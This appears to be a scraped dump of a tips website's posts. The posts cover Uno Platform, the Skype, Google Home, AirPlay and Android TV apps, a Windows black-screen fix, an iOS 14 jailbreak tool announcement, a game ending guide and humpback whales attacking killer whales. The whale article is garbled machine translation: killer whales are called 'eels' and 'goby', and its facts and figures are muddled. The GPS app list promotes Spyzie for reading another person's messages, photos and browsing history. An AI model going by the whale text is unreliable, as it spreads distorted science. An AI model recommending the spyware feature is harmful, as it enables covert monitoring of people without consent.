techniques of creating UI layouts for each platform, Uno.UI mimics the approach of Windows XAML for defining UI and layout. Uno.UI is capable of sharing styles, layouts, and data binding while retaining the ability to combine XAML styles and original layouts. For example, StackPanel can easily contain RelativeLayout on Android or MKMapView on iOS.\nUno.UI provides the ability for developers to reuse known coding and layout techniques across all platforms, increasing overall productivity when creating UI-centric applications. .\nWhat can't Uno Platform do? Uno is not meant to completely replace all of the original UI frameworks. This would be the lowest denominator approach and result in the end user noticing the non-native app appearance or behavior on their device. There's an iOS app that works like an Android app that can annoy users.\nUno provides a common set of layouts and controls, designed to provide the ability to share an important part of your application's code and markup. However, it still leaves the developers with the ability to keep the original interface. At the same time, Uno provides a way to have a perfectly detailed UI and UX across all platforms. Typically, this theme will be found in the navigation, transitions and animations, the main page, and the edges of the screen.\nAlthough the Uno Platform provides all of the UWP APIs, many of them are not implemented. It currently provides a small set of basic UWP non-UI parts, such as the Windows.UI.Xaml.Application class, which gives the ability to have a generic application bootstrap code.\nHow does Uno Platform work?   Uno provides a set of APIs that use Windows UWP-compatible class and property names and allow those classes to inherit from the platform's original layout container, in the case of the XAML APIs.\nFor example, Windows.UI.Xaml.Controls.StackPanel inherits directly from ViewGroup on Android and UIView on iOS.\nThe original layout system for internal elements is then overwritten with the XAML-compatible layout system. This means a StackPanel will use the same layout strategies on all platforms.\nOn Windows platforms, Uno.UI is not present and the XAML layout files are preserved. On classic Xamarin-compatible platforms, XAML files are processed at compile-time to generate unconditional code that will be executed at runtime on the device. This means there is no XAML run-time parsing, which makes creating the UI tree particularly efficient.\nUno.UI also provides ways to markup platform-specific XAML files, allowing to create a simple file tree while tailoring the user interface for each platform.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWlo7xuvMuaq5%2BnoqI%3D\n","link":"/post/what-is-uno-platform/","section":"post","tags":null,"title":"What is Uno Platform?"},{"body":"If you follow regularly, you won't be surprised to see humpback whales or assassinate whales. But why is that? Do they have some vengeance? Let's find out in the article below!\nWhy does the flamingos stand on one leg forever but don't feel tired? The mystery of a giant 1.5-meter-long worm eating both hydrogen sulfide and rotten gas Top 11 exotic animals you may have heard for the first time Killer whales can be considered as one of the most aggressive carnivores in the ocean, they are so scary that there are sharks in the \" menu. \" Not only possessing a huge, huge body, killer whales are also extremely intelligent animals when hunting, especially when working in groups. But other humpback whales , despite their large bodies, can weigh up to 40 tons, but they are quite gentle and calm. Their main food is molluscs and small fish. Like bears, humpback whales only feed in the summer, and in the winter they fast and use the amount of stored fat in their bodies.\nMany people believe that humpback whales can save seals, sea lions, moon fish and some other species with \" confusion \" but they may also be altruistic animals.\n A Weddell seal was chased out of an iceberg by a group of killer whales and was about to become dinner, was rescued by a humpback whale in the waters off Antarctica.Photo source: ROBERT L. Pitman\nSo why are humpback whales often attacking killer whales? Humpback whales and killer whales are almost unrelated, there is no competition for food or territory, but there are often conflicting conflicts. If aggressive humpback whales like killer whales can be understood, they are quite gentle and calm.\nIn May 2012, researchers observed a group of killer whales attacking a gray whale and baby whales in Monterey Bay, California. After a fight, the whales were killed. What happens next can easily be explained.\nTwo humpback whales have been hitched to prevent killer whales or eels, attacking the gray whale. However, after the young gray whales were killed, more than 14 humpback whales - seemed to stop the goby eating gray whales.\n  ' A special humpback whale has appeared as a protective guard next to the bodies of young whales, head towards killer fish, body lying along the length of the body and emitting sounds. Strange bar, the tail that scares off killer whales should not eat baby whales , 'said Alisa Schulman-Janiger , a whale researcher at the California Killer Whale Project.\nWithin 6 hours and 30 minutes, humpback whales chased the killer whales away using their flippers and tails. Despite the discovery of nearby mollusks - a favorite dish of humpback whales - but these gentle giants don't leave their ' work '.\nIt is still unclear why this humpback whale is at risk of injury and energy consumption to protect other species. According to statistics, from 1951-2012, during the last 62 years, there are 115 encounters between humpback whales and killer whales recorded by 54 different observers, detailed reports published. in Marine Mammal Science magazine .\n  But what is worth mentioning here, in those encounters, is that 57% of them are hunchback started the war . This is quite a strange thing for animals that are considered very gentle when they actively seek out such wars. And the following 2 numbers will explain some of our questions! There are 87% of humpback whales occur when opponents are hunting and 89% of humpback whales are present in time when killer whales are attacking other animals .\nBased on the figures given, many researchers argue that the main reason for humpback whales or actively attacking killer whales is because of \" Altruism \". They performed an unbelievable \" rescue screen \" for other animals even if they were not of the same species.\n' This humpback whale rescue activities continue to take place in many regions around the world. I have seen some of those encounters, but none is as serious as [the May 2012 event] , 'said study co-author Schulman-Janiger .This is still the interaction between humpback whales and the longest killer whale to this day.\nWhat is happening? The most logical biological explanation for behavior is like a humpback whale's \" defense team \" that whales receive some benefits from interfering with the killer whale's hunt.\nFor example, goby is known to be the most vulnerable to humpback whales and humpback whales, as a child. However, after fully maturing, just a humpback whale is large enough to be able to handle all of the killer whales. So perhaps the \" rescue \" behavior evolved as a way to help species overcome its \" weakest life stage \".\n\" Because humpback whales tend to return to the feeding grounds and where they are born, in a certain area humpback whales tend to be associated with neighboring humpback whales ,\" said the chief. The research group Robert Pitman , NOAA marine ecologist and the National Geographic Society, said.\nBut there is a mystery in this explanation. What is special is that only 11% of humpback whales attack killer whales for a purpose , the rest are killer whales attacking other species rather than attacking their fellow species . This shows that this giant marine species not only protects their species but also protects other creatures such as California sea lions, moon fish, harbor seals and gray whales.\n The Weddell seal is based on the chest of a humpback whale, safe during the assault by a killer whale.Photo source: ROBERT L. Pitman\nThere is even an incident while humpback whales seem to try to save a pair of moonfish from the killer whale of the killer whale.\nMaybe it's just an individual. Schulman-Janiger notes that not all humpback whales intervene in the hunt for killer whales and many other humpback whales also carry scars when attacked by eels, probably since childhood. So that may be due to what happened in the past so humpback whales respond to the hunt of killer whales.\nThe study also notes that humpback whales may be dealing with \" hearing calls \" by killer whales rather than animals they are hunting. This means that humpback whales do not know which species is being attacked until they \" invest \" energy in the battle.\nSuch behavior can exist in populations by many individuals who will benefit, humpback whales - seem to be enough to protect the interests of other species.\nAll for one, and one for all (roughly translated: \"Everyone for me, I'm for everyone\")   Other experts on whales see something more complicated, altruistic.\n\" Although this behavior is interesting, I am not surprised that a marine mammal interferes with members of another species ,\" said Lori Marino , a mammal expert and president of The Whale Sanctuary Project said.\n\" Humpback whales have the ability to think complexly, make decisions, solve problems and communicate. Therefore, implementing the properties of a species with a high level of intelligence development generally has the ability to empathize, \"Marino, also the CEO of the Kimmela Center for Animal Advocacy Center.\nBesides, humpback whales are not the only animals, they seem to be used to refer to some species related to other species. Dolphins are described as ' help ' dogs, whales and even humans. Although many of us often see similar things but can easily misunderstand the behavior of animals.\nWhatever the humpback whale is doing, the benefits it gets from this process are obviously we need to learn more, both the mind and emotions of the animals next to us.\nPitman says animals tend to do what is most beneficial to themselves, even if their emotions are not entirely clear to us.\n\" Biologists think that is where we should start looking for an explanation, \" Pitman said.\nHaving fun!\nncG1vNJzZmismaXArq3KnmWcp51kxKnFjKGspqiSlrCsedahmKWdo2K8s3nArauam5tiuKq4y56pZq%2BYlrmmv4ytpmaooqTBpq%2FTZqatoJWneqK6yKaYpatdnbKzsYyiqmasmJp6orrSsJyr\n","link":"/post/why-humpback-whales-or-attack-killer-whales-to-protect-other-animals-here-is-the-answer/","section":"post","tags":null,"title":"Why humpback whales or attack killer whales to protect other animals? Here is the answer"},{"body":"Today, the Android market dominates many mobile users worldwide. Mobile Android apps are growing strongly and personalized over time.\nPeople appreciate the power of interactive mobile applications, establishing strong connections with the basic mobile environment.\nGPS is an important function that every Android mobile user has on his device. That is why GPS tracking applications have attracted a lot of attention.\nFrom tracking any location, person, vehicle to unspecified navigation, the Android GPS feature is always handy.\nAlthough Google Maps is the most popular name, there are still other attractive options in the Android application world, which helps to track GPS and navigate smoothly.\nQuickly flip through the best GPS tracking apps for Android in 2019 that TipsMake.com introduces through the following article!\nTop best navigation app for Android 1. Spyzie 2. Google Maps 3. Sygic 4. Life 360 5. Waze 6. GPS Phone Tracker 7. MapQuest 8. Where's My Droid 9. Glympse 10. GPS Route Finder 11. Family Locator 12. Safe 365 13. Geo Tracker - GPS tracker 14. FollowMee GPS Tracker 15. A-GPS Tracker 16. LetstrackRealtime GPS Tracker 1. Spyzie   Spyzie is a feature-rich device tracking application where you can access essential information related to a target device.\nEasy to install, use and monitor, Spyzie comes with a user-friendly web-based control panel, accessible from any device.\nIt provides real-time location updates and the ability to access important device data such as photos, messages, browser history, notes, etc.\nFeatures and benefits:\nUpdate the instant position of the connected device Easy to use and monitor Dedicated web control panel Quick access to important data on the device Provides detailed location history Fully compatible with almost all Android versions Complete support and personal care 2. Google Maps   Google Maps is considered to be the best GPS tracking application for Android users.\nIt not only makes navigation and search easier, faster, but also helps you discover the best destinations, as well as providing the exact information you need to reach the desired location. want.\nFeatures and benefits:\nEasy to use and quickly locate Special features to discover the best destinations Guide for top rated restaurants and tourist destinations Discover new places like an indigenous resident Show trusted reviews and website ratings Offline map to search and navigate without an Internet connection 3. Sygic   One of the most appreciated GPS tracking apps on Android is Sygic. Sygic is the most advanced and favorite navigation application. Up to this point, the application has about 50 million downloads.\nThis application is very rich with offline use and TomTom map. The paid version of Sygic opens up more impressive features to make navigation an enjoyable experience.\nSygic has almost everything you need, including appropriate parking information and prices.\nFeatures and benefits:\nVoice navigation Ability to operate offline without Internet Read the street name Options for alternative routes Direct transport service to avoid delays Limit speed to stay safe High quality TomTom map for many different countries Safety warnings for bends and railroad crossings There is parking space and price proposal 4. Life 360   Life 360 ​​is a fairly popular family tracking application with all the great features. Its true usability is that users can add groups to their families and friends (called circles, temporarily translating them) to detect their location, along with the log. places they have come in the past.\nThis Android GPS tracking app also features additional driver assistance. It is capable of sensing incidents and sending emergency messages, etc.\nFeatures and benefits:\nShare flexible locations in your circle Create multiple circles and groups Ensure maximum privacy, because the application sends invitations to join the circle for the owner of the monitored device Exchange requests for check-ins between users Group messages for private and urgent contacts Location and diary information in the past is streamlined 5. Waze   The world's largest community-based navigation and traffic app, Waze stands out among the crowd of the best GPS tracking apps for Android.\nIt provides turn-by-turn navigation, enabled with voice guidance and live maps, constantly updated by editors in the Waze community.\nYou can add friends on Facebook and sync your contacts to the app. You can also check the nearest gas station on the route you take when you need to refuel.\nFeatures and benefits:\nThe largest community-based navigation application Live maps are updated quickly Continuous support from the community Voice-based turn-by-turn navigation guide Add information and friends on Facebook Automatically rerout in unexpected conditions on the road Allows you to report hazards, accidents, traffic jams, etc. There are options for the nearest and cheapest gas stations on your route 6. GPS Phone Tracker   You can say GPS Phone Tracker is a legacy GPS tracking application, because this is one of the oldest and most popular navigation apps among all Android navigation applications.\nGPS Phone Tracker can be used to see the exact location of your family and friends.\nWhat makes the GPS Phone Tracker so commendable is its easy connectivity features, precise instructions and seamless performance. GPS Phone Tracker device tracker helps you to update in real time to find lost Android phones.\nFeatures and benefits:\nDedicated web interface to get the exact location of the device Smart dashboard with accessible location history of the device Extremely friendly and easy to use features Help you stay in constant contact with your friends and family Use optimal battery when running in the background 7. MapQuest   Another GPS tracking application that works well for Android users is MapQuest. This is an easy and fast way to navigate to the location you need.\nMapQuest also features step-by-step voice navigation for precise directions while driving or walking.\nBut what makes MapQuest so special and remarkable is its integration with OpenTable and GrubHub, allowing you to browse restaurant menus, edit booking information and order food.\nFeatures and benefits:\nEasy to use features and fast navigation Instructions for voice directions Automatically re-routing to avoid traffic problems Propose short alternative routes to arrive without delay Reservations or dishes at the restaurant Update local weather to plan the day Approach roadside assistance as required 8. Where's My Droid   Where's My Droid is a reliable way to locate your Android device remotely. This navigation application is popular, with a total of millions of people worldwide using to access the exact real-time location of the device.\nAnti-theft, passive location updates and geofencing (using GPS or RFID technology to define geographic boundaries) are notable for making Where's My Droid more special.\nFeatures and benefits:\nThe ability to track your device even if the device is out of coverage or is turned off Lock the device remotely Wipe all data from the web-based control panel Notification service when changing SIM card Background operation mode consumes minimal battery power Added geofencing features, etc. Take photos of intruders after failing to unlock the device 9. Glympse   Glympse is a GPS tracking application for Android, which has unparalleled power in tracking your location without compromising privacy.\nYou can easily track deliveries, know the exact location of friends and colleagues or notify everyone in your contacts about your location.\nGlympse also protects your device from theft. Glympse's user-friendly interface has advantages that make location tracking easy.\nFeatures and benefits:\nEasy to use, intuitive interface Maintain your privacy Help businesses by tracking real-time location of employees The settings are customizable to allow personalized tracking Compatible with platforms such as wearable devices, iOS and smartwatch, etc. Seamlessly create circles and groups The radar is extremely sensitive, indicating the exact location of the device Easily communicate with members in the circle 10. GPS Route Finder   This application helps you navigate freely on Google Maps, connecting you with all the necessary directions, along with necessary traffic updates. This is one of the best GPS guidance tools that can take you to the desired location.\nSalient features:\nHelp you find current location or mobile location Allow to find the way by GPS Help find driving directions Find and explore new places, save favorite places to the list Find or locate friends or family members Allows users to quickly find banks, gas stations, hospitals, airports, hotels, theaters, nearest restaurants, etc. There is a new feature called speedometer, which allows users to track the speed 11. Family Locator   Family Locator allows you and your family to connect 24/7. Users can find the location of family members added on the map and connect with them immediately.\nThis application is useful for children in case they get lost. Just touch the SOS button, then the child's location will be sent to you immediately.\nMain feature:\nSee real-time location of family members Share messages for free with family SOS feature notifies the exact location in an emergency Receive notifications when children arrive at their destination You can mark safe areas (school or home) on the map Create groups in the app (for children, friends or colleagues) Allows real-time tracking of lost phones 12. Safe 365   Are you worried about how to stay connected with your family even when you're away? Safe 365, an application specially designed to stay in touch and care for your family even if you have work to go away.\nThrough this application, users can know where their relatives are immediately.\nMain feature:\nSee location in real time Get instant notifications Allows you to send battery alerts There are 3 location sharing modes including exact, approximate location and route Includes an SOS button for emergency services 13. Geo Tracker - GPS tracker   If you are a long-distance travel lover, this is the perfect app for you. Record your trips and share them with your friends.\nMain function:\nAllow tracking even if the phone is off Friends or family can repeat the same route Can mark interesting points in the trip The recorded routes can be saved in GPX / KML format Calculate the maximum and average speed on the go 14. FollowMee GPS Tracker   FollowMee GPS Tracker is one of the best GPS tracking applications, helping convert your mobile device into a GPS tracker. After installation, the location of the application can also be accessed in FollowMee website.\nNow, keep track of family members, friends, company mobile devices or even your employees comfortably.\nMain function:\nLocation monitoring Data privacy Can be used for personal or business purposes Allows tracking multiple devices Optimized for business users where you can group devices based on geographic location or function Full-time vehicle tracking feature Users can choose how to share their location details 15. A-GPS Tracker   If this outdoor tracking application is activated, it can record your route even when the phone switches to Stand-by mode.\nThis app is primarily designed for pedestrians who want to bookmark a new place they have visited and who want to avoid getting lost while returning from the trip.\nMain function:\nTracking records will include walking time, height increase and decrease The route is stored in a GPX file Data privacy with tracking feature in many devices 16. LetstrackRealtime GPS Tracker   This real-time GPS messaging and tracking application allows you to track your loved ones, vehicles such as cars, bicycles, etc.\nAnother highlight of this application is the first real-time messaging application that combines device-based and personal-based tracking options in real time.\nMain function:\nAllow chat in real time with friends or family Send photos in real time Check out the location of loved ones right away Can set meeting point requirements and even set regional alerts Can also be used to track employees and sales force in real time Web-based version available The GPS tracking application for Android devices is one of the daily necessities for users who love advanced ways to navigate, locate the device and know the whereabouts of the members in the circle.\nThese applications help you reach your destination safely, providing the best routes to your journey. Each option in this list has unique features for users. You can download the most suitable GPS tracker from the list above depending on your exact needs.\nWish you find your choice!\nncG1vNJzZmismaXArq3KnmWcp51kfnd5z6iqoqyZpLuqusZmmKmoo2KzsL6MmqWdqp%2BesQ%3D%3D\n","link":"/post/16-positioning-apps-for-android/","section":"post","tags":null,"title":"16 positioning apps for Android"},{"body":" Free software Version: 8.67.0.99 Update date: January 14, 2021 Platform: Windows Download Skype 8.67.0.99 here.\nSkype is software that allows chats to take place around the world. You can use Skype on whatever device works best - mobile phone, computer or tablet.\nSkype for Windows brings Skype's excellent video chat software to your desktop with a sleek, modern user interface.\nWith Skype for Windows, you can video chat, text, and send instant messages to friends right from your Windows desktop. You can connect for free to any device or PC with Skype installed, or you can call cell phones and landlines if you have Skype credit.\n  Skype Features Video calling, instant messaging, etc. There are a lot of things you love about Skype, most notably the ability to make audio and video calls, text and instant messaging friends.\nWhen you sign in to Skype with your Microsoft account, it automatically imports your contact list into your address book so you're ready to go. Then connect with someone easily by clicking on a contact and choosing whether you want to video chat, audio call or instant message them.\nCall and video quality on Skype is generally excellent, although that depends a lot on your Internet connection. With good connection at both ends, calls will be loud and clear. The video starts off quickly - although sometimes you may experience some hanging frames and slow loading videos. Skype also supports free group calling and screen sharing for up to 10 people - a feature previously only available to premium users.\nWell organized, streamlined interface The interface may look a bit blank compared to older versions of Skype but Microsoft has streamlined things with a more organized interface, making all the features easily accessible. Your recent calls, favorites, and contacts are all available on the home screen, and you can change your Skype status in the top right.\nSkype also includes a lot of fun, animated emojis that are sure to delight emoji lovers.\nSkype is still a great app for keeping in touch Skype has gone through many changes but overall, the app still offers a great video chat and messaging experience for users.\nAdvantages\nSupports video chat, texting and instant messaging High quality video chat Automatically import contacts from Microsoft account Lots of emoticons Free group video call and screen sharing Defect\nThe interface looks a bit sparse Contacts may need editing after importing download skype skype ncG1vNJzZmismaXArq3KnmWcp51kuaq6ymabqK%2BeobyisIysorKolWKFd4OPcnBmnqKasm7CyJ2cqGWTna61ecCnm2allajAorPIp55mmaCluaqvwK2gqKY%3D\n","link":"/post/free-video-chat-and-messaging-application/","section":"post","tags":null,"title":"Free video chat and messaging application"},{"body":"Google has just added their \"terms of service\" which advises users not to use Google Glass while driving.\n  Google recently added a \" terms of service \", most notably the company warned users not to use some of their services while driving. In terms of use, the company writes \"some Google services are available on mobile devices, however, you should not use these services in case they distract you when you are in traffic. This may cause you to violate vehicle control laws. \"\nAlthough Google does not confirm the addition is intended to refer to Google Glass, but with the recent controversy about whether to allow the use of the glasses while driving or not, this ability is huge.\nMost recently, a California woman was punished by police for wearing Google Glass while driving a car. Under US law, the driver will be fined if he is driving while \" wearing a video screen displaying information outside the map, playing music, radio \". However, in the questionnaire on Google Glass, Google also said that whether to use Glass while driving or not depends on where you are and how you use Glass. The company also said that whether or not Glass prohibits laws, users should also be careful.\nMost states in the US have passed laws restricting the use of mobile devices while driving. The Vehicular Code in California requires that people do not drive when they are using a device with an active or \" business \" content display in front of the driver's seat. .\nncG1vNJzZmismaXArq3KnmWcp51ktLC7xqWcZpmUq7a0sdJmpaisXam8bsPEmqlmq52Wv7V5xqWYrKuVqHq4tMilnGacop7DqrrG\n","link":"/post/google-advises-not-to-wear-smart-glasses-while-driving/","section":"post","tags":null,"title":"Google advises not to wear smart glasses while driving"},{"body":" OpenOffice has its own suite of software that matches the versatility and strength of MS Office and, being open source, it is free. Read this article to learn how to draw basic shapes using OpenOffice Draw. You can draw both 2D and 3D...\n Isabella Humphrey Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyilsRursCsoJxlo52usbHSZqysoZ6cerC8xKdkqJ6WnrCmecOrmLA%3D\n","link":"/post/how-to-draw-basic-shapes-using-open-office-draw/","section":"post","tags":null,"title":"How to Draw Basic Shapes Using Open Office Draw"},{"body":"According to some users, after updating to new versions of Windows 10 they encountered a black screen of death. There are many ways to fix black screen error after updating Windows 10.\nThe cause of the black screen of death error after updating Windows 10 can be because Windows Update has not completed the update process and is causing the error. During the update, the system will reboot as part of the process.\nAfter the reboot process is complete, Windows 10 computer displays a black screen, you follow the steps\nStep 1: Press the key combination Ctrl + Alt + Del\nStep 2: Select Restart to restart the computer.\nAccording to Micrososft, this way will help fix the black screen error after updating Windows 10.\n  In the event that the above method does not work, does not help fix the black screen of death after updating Windows 10, here are some other fixes that you can refer to:\nMethod 1: Press the Windows + Ctrl + Shift + B key combination to restart the computer graphics card driver. This may help fix a number of problems, including the black screen error.\nMethod 2: Force shut down the computer, just press and hold the physical Power button until the computer is completely off. Wait a few seconds, then turn on the computer again and go back to normal use.\nMethod 3: Make sure the mouse and keyboard are connected to the computer properly. Also, if you are using a laptop, make sure the device has battery remaining. For a computer, make sure the power cord is properly connected and connected to a power source.\nGood luck. Fix black screen error ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqjuMCcomark6eyprqMnqmrp6JirqfAxKtkrqiUlsGqusZmrqKmlKTEtHmQaQ%3D%3D\n","link":"/post/how-to-fix-black-screen-error-after-updating-windows-10/","section":"post","tags":null,"title":"How to fix black screen error after updating Windows 10"},{"body":"This jailbreak tool was developed by CoolStar team, called Raurine, to replace the previous Odyssey Jailbreak tool.\u0026nbsp;\n  It is known that Taurine uses a vulnerability exploited by security researcher @Modern Pwner. This tool supports iPhone and iPad devices running on iOS 14.0 to iOS 14.3 platforms, including the iPhone X to iPhone 12 series). This tool uses Sileo as the manager instead of the legendary Cydia.\nThis tool has now been released to the 7th update with the aim of improving performance, increasing the probability of successful jailbreaking and fixing outstanding bugs.\u0026nbsp;\nTo download Taurine Jailbreak tool for iPhone and iPad operating on iOS 14.0 - 14.3 platform, please visit the link here. To install you need to use AltStore here. Watch the video below on the steps to Jailbreak with the Taurine tool.\u0026nbsp;\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqKRnrmjvsSaomahn6h6coCMn6arZaSdsm64wK2crKxdnr2pu82eZJqmlGK2sa3D\n","link":"/post/how-to-jailbreak-ios-14-for-the-latest-iphone-and-ipad/","section":"post","tags":null,"title":"How to Jailbreak iOS 14 for the Latest iPhone and iPad"},{"body":"Participating in the game Poppy Playtime Chapter 2, gamers must find their way out of the factory by overcoming puzzles, collecting train codes and hiding on the train. So the train is the main objective of the game.\nPoppy Playtime is famous for its jumpscare and bizarre character creation, not only that, but it also offers hidden endings that many people miss. In this article, let's learn how to unlock the hidden ending in Poppy Playtime Chapter 2.\nPoppy Playtime Chapter 2's Usual Ending In the regular ending, the player must take all 4 train codes and their order. These codes are provided by Poppy. Gamers must complete puzzles and defeat bosses to get these codes.\n  Once all the puzzles are solved and the bosses are defeated, Poppy will provide the train code and the order. After that, people can board the train, enter the train code, the code to start the train and leave the Playtime Co toy factory.\n  But when the player is on the train and about to exit the tunnel, Poppy will change her mind and change route. This increases the speed of the train and the player has to press the emergency brake to stop but the train overturns and the game is over.\nThat's the normal ending that the player gets when he completes the entire game and collects each train code from Poppy.\nPoppy Playtime Chapter 2's Secret Ending By playing the game again with a different strategy, a difference was discovered and that was the order of the codes on board. If you play from the beginning, go to the train station area instead of the statues and Whack-A-Wuggy, you can board the train. But people need all the codes and the order of the codes to start the train.\nTrain code, the symbols are the same and the order is the same, but to choose the order of the symbols after placing them on the train is different. The normal ending code is 2314 but if played this way the code is invalid and the train won't start.\n  Instead, the correct order for this play is 4312. At this point the train will start without everyone exiting Whack-A-Wuggy and Mommy Long Legs.\nThe end of this chase will be the same no matter which way everyone takes it. All of Poppy's lines about not letting us leave and flipping the ship are the same, even though the player hasn't received the ship code from Poppy and hasn't defeated the main boss - Mommy Long Legs.\n  Only thing that has changed is, if the player already knows the train code in the regular ending, it won't work. Players have to guess and try countless different combinations or complete the whole game and get a code from Poppy.\nThis can be considered a speedrun way because half of the game has been skipped and it only takes about 25 minutes to complete the entire Poppy Playtime Chapter 2. Therefore, this method is only for those who have completed the game by The usual way not to miss the game's unique content.\nPoppy Playtime Chapter 2 ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2eobykt4yepZ2hnpzAbrXNZqeoqKCuerG4wLKroqWVYrCprc%2BtnKtlYg%3D%3D\n","link":"/post/how-to-unlock-endings-in-poppy-playtime-chapter-2/","section":"post","tags":null,"title":"How to unlock endings in Poppy Playtime Chapter 2"},{"body":"However, there are some workarounds you can try to control your smart home devices from your Windows laptop.\n1. Create Google Home Apps Using Android Emulator   Installing an Android emulator is the best way to control a Google Home device from a Windows PC or laptop. With an Android emulator, you can run almost any Android application, allowing you to enjoy the functionality of your phone right on your computer.\nThere are several Android emulators available on the Internet. But by far, BlueStacks is still the most popular tool thanks to its reliability and user-friendly interface. It is also free to use.\nSetting up BlueStacks on Windows is relatively quick and simple. To get started, download the BlueStacks installer from the official website. Click on the downloaded file and wait a few minutes for the installation to complete.\nOnce the installation is complete, BlueStacks will launch automatically. Click the Play Store icon on the home page. Here, you will be prompted to sign in to your Google Play Store account. Make sure to use the same account you used before for the Google Home app on your phone. The app then guides you through typical setup steps.\nOnce you're done setting up the Play Store, type \"Google Home\" in the search bar and click Install. You can now launch the Google Home app from BlueStacks. Simply sign in to the app and set your location preferences to start accessing smart devices.\nThe advantage of BlueStacks is that you can use the features of the Google Home app exactly the same way you would on your mobile device.\n2. Cast media via Google Chrome   If you currently use Chrome as your preferred web browser and want to bring Google Home features to your computer, you'll be happy to know that casting and streaming functions are available in the Home app. This means you can stream video to your smart display or stream music from your PC to your smart speaker.\nTo get started, verify that the latest version of Chrome is installed on your computer. Next, connect the PC to the same WiFi network that Google smart devices use. Make sure your smart device is also set up first.\nAfter opening the browser, you can right-click in an empty area or click the three vertical dots in the upper-right corner. Tap Cast and a pop-up will appear, showing the available devices you can use.\nYou can then start streaming your video or music content. If you click Sources , you can also choose Cast Tab, Cast Desktop, or Cast File .\nIt's worth noting that using Google Chrome's cast preferences won't allow you to control other devices such as doorbells, thermostats, or lights. You also can't use Chrome for Google Assistant. However, this option is a great alternative if all you want to do is stream web or local media content from your PC to Google Home devices on the network.\n3. Install Google Assistant   You can install the unofficial Google Assistant from GitHub to control your devices from your Windows PC. However, there are only some basic commands in this version, such as stopping the music and setting the volume to certain levels.\nThe installation process is also quite long and tedious. But if you're comfortable doing more advanced settings, then Google Assistant for Windows is definitely worth a look.\nOnce the unofficial desktop application is installed and configured, it will work in exactly the same way as it does on a smartphone. You can then issue some voice commands to your Google Home smart devices.\nWhile there is no official Google Home desktop software yet, there are several methods that allow you to use smart home gadgets from your PC. The option you choose largely depends on what Google Home capabilities you want to bring to your computer.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqou86go55lmKS6pnnDnq2im5Woeqe%2BzqZkmmWnnrulu9asZKmb\n","link":"/post/how-to-use-google-home-devices-from-a-windows-pc/","section":"post","tags":null,"title":"How to use Google Home devices from a Windows PC"},{"body":"TipsMake.com - Want to watch Flash movies, slide shows or direct meetings on a big screen TV? So find out how to use AirPlay Mirroring in Mountain Lion with some solutions for common mistakes.\n  If you already own a Mac running the latest Mountain Lion operating system, there's a really cool feature called AirPlay Mirroring that lets you display your desktop on a big screen connected to an Apple TV. AirPlay Mirroring is a feature users can use when they want to show products or report work at meetings, display photos with family, watch videos . but on a big screen connected to Apple TV. This is how.\nFirst of all, make sure the computer is on the same network as Apple TV, then find the screen icon on the Menu bar. Mountain Lion automatically detects Apple TV in the network. To turn on AirPlay Mirroring, select Apple TV from the AirPlay drop down menu.\n  The first thing to notice is that there's a bit of a delay between laptops and TVs. But we can open windows, move files or do anything and can see all the displays on the big screen.\nWith the desktop displayed on the big screen, there are a few ways you can use for larger viewing areas. If there are photos on the Mac, AirPlay Mirroring is the best way to display them to many people. Just launch iPhoto or any photo management program you like, switch to full screen mode on your Mac and select the full size for the photo or turn on the slideshow.\nNext, try the video experience. Obviously, with Apple TV, YouTube and Netflix are available. The biggest advantage of AirPlay Mirroring in Mountain Lion is that users can play Flash movies, which the iPhone and iPad running iOS 5 can't even have this feature. To try running a movie, go to your favorite Flash movie page. After selecting the movie, switch to full screen mode and enjoy it on the big screen. This feature will be especially useful for those who do not have traditional cable TV service and will open a completely new library of TV and movie programs to watch.\nFix common problems with AirPlay Mirroring Many people complain that they face errors related to the transmission of large screen base audio, but in fact it is very easy to overcome.\n  Be sure to turn on the volume on both devices. But if you still don't see an error, go to the Apple menu to open System Preferences, select Sound then under the Output tab, check if Apple TV is selected. If not, select Apple TV then close the window. Now users can hear the sound from the TV no matter what it is playing.\nWith errors when playing images on a large screen, there are some remedies. If you notice black bars on the top and bottom or on all four sides of the image, try going to System Preferences, then selecting Displays . Now, click on Best for AirPlay . This option will make the image fit the larger screen size.\nIf you notice that you cannot see the full picture area on the movie, click the AirPlay button in the Menu bar (screen icon), select Displays then uncheck the Overscan area.\nAirPlay Mirroring is one of the best new features on Mountain Lion, for meetings, photo shows and especially for many TV shows and movies. Hopefully the article has brought you useful information to be able to experience AirPlay Mirroring in the most perfect way. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWato567qHnAoqmppJGueq610aumq6GenHqquoympq6mpJa2r3nLoqan\n","link":"/post/instructions-for-using-airplay-mirroring-in-mountain-lion/","section":"post","tags":null,"title":"Instructions for using AirPlay Mirroring in Mountain Lion"},{"body":"Android TV Box is probably the device that is no stranger to most of us when it can turn ordinary TV into smart TV in the simplest and most effective way. However, after a period of use Android TV Box is often full of memory or data that is often partitioned. This, for high-end Android TVs with relatively large internal memory (500GB) like Nvidia Shield Pro, probably won't have any problems, but the Chinese Android TV models usually only have 4GB might make For reading or storing data becomes more difficult, you can also see the status of your Android TV Box running slower than usual. Here, Network Administrator will help you know how to increase storage capacity for these Android TV models.\nSet up, control new Android TV Box faster thanks to Android TV Remote Control Experiences to keep in mind when choosing to buy Android TV box 5 unique apps that Android TV users should install today   Instructions on how to increase storage capacity for Android TV Box\nAccording to MakeUseOf, users can upgrade the memory capacity for their Android TV Box with a few simple steps. Because most of today's Android TV devices have at least one USB port and can read / write to external memory devices.\nHowever, by default, Android TV Box will not have access, install applications and games on external memory device, unless you allow in the Settings menu. Specifically, the operations are as follows:\nStep 1:\nCarry out an USB plug or an external drive into your Android TV device.\nStep 2:\nAt the main screen, search and select Settings. Next, navigate to the Storage and Reset section and find the correct USB drive that you just mounted in the previous step.\nStep 3:\nSelect Set up as internal storage or Format as device storage.\n  Note: Depending on the device you will need to select Move now or not.\nNow, you need to wait for Android TV to format your USB and you will be able to forget about Android TV Box's original internal storage. Also note, apply the way to increase internal memory for Android TV Box in this way, you absolutely should not remove the USB, or do not plug it into other devices.\nHope you are succesful.\nSee more:\nInstructions for screenshot on Android TV How to connect to the network for Android TV box How to watch football by SopCast on Android TV Box 